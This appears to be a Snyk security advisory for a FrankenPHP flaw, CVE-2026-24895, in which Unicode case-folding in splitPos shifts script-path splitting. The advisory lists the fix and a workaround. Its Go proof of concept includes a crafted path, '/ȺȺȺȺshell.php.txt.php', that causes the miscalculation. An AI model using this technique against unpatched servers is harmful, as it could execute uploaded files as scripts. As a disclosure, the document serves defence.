Incorrect Behavior Order: Validate Before Canonicalize Affecting github.com/dunglas/frankenphp package, versions <1.11.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.57% (44th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMDUNGLASFRANKENPHP-15279226
  • published13 Feb 2026
  • disclosed12 Feb 2026
  • creditAbderrahim Dahmani

Introduced: 12 Feb 2026

CVE-2026-24895  (opens in a new tab)
CWE-180  (opens in a new tab)

How to fix?

Upgrade github.com/dunglas/frankenphp to version 1.11.2 or higher.

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize via the splitPos function. An attacker can cause unintended script execution by crafting a request path containing specific multi-byte Unicode characters, which manipulates the calculation of SCRIPT_FILENAME and may result in the execution of arbitrary files as scripts.

Note:

This is only exploitable if user-uploaded files are stored within the document root or a reachable path.

Workaround

This vulnerability can be mitigated by ensuring user-uploaded files are stored outside of the public document root and by implementing strict WAF rules to reject requests containing specific multi-byte Unicode characters in the URL path.

PoC

package main

import (
    "fmt"
    "strings"
)

func splitPos(path string, split string) int {
    lowerPath := strings.ToLower(path)
    idx := strings.Index(lowerPath, strings.ToLower(split))
    if idx < 0 {
        return -1
    }
    return idx + len(split)
}

func main() {
    // U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes.
    // We construct a path where the byte expansion shifts the index.
    path := "/ȺȺȺȺshell.php.txt.php"
    split := ".php"

    pos := splitPos(path, split)

    fmt.Printf("orig bytes=%d\n", len(path))
    fmt.Printf("lower bytes=%d\n", len(strings.ToLower(path)))
    fmt.Printf("splitPos=%d\n", pos)

    // Current Unsafe Behavior:
    fmt.Printf("orig[:pos] (Calculated Script)=%q\n", path[:pos])
    fmt.Printf("orig[pos:] (Calculated PathInfo)=%q\n", path[pos:])

    // Expected Safe Behavior:
    want := strings.Index(path, split) + len(split)
    fmt.Printf("expected splitPos=%d\n", want)
    fmt.Printf("expected orig[:]=%q\n", path[:want])
}

CVSS Base Scores

version 4.0
version 3.1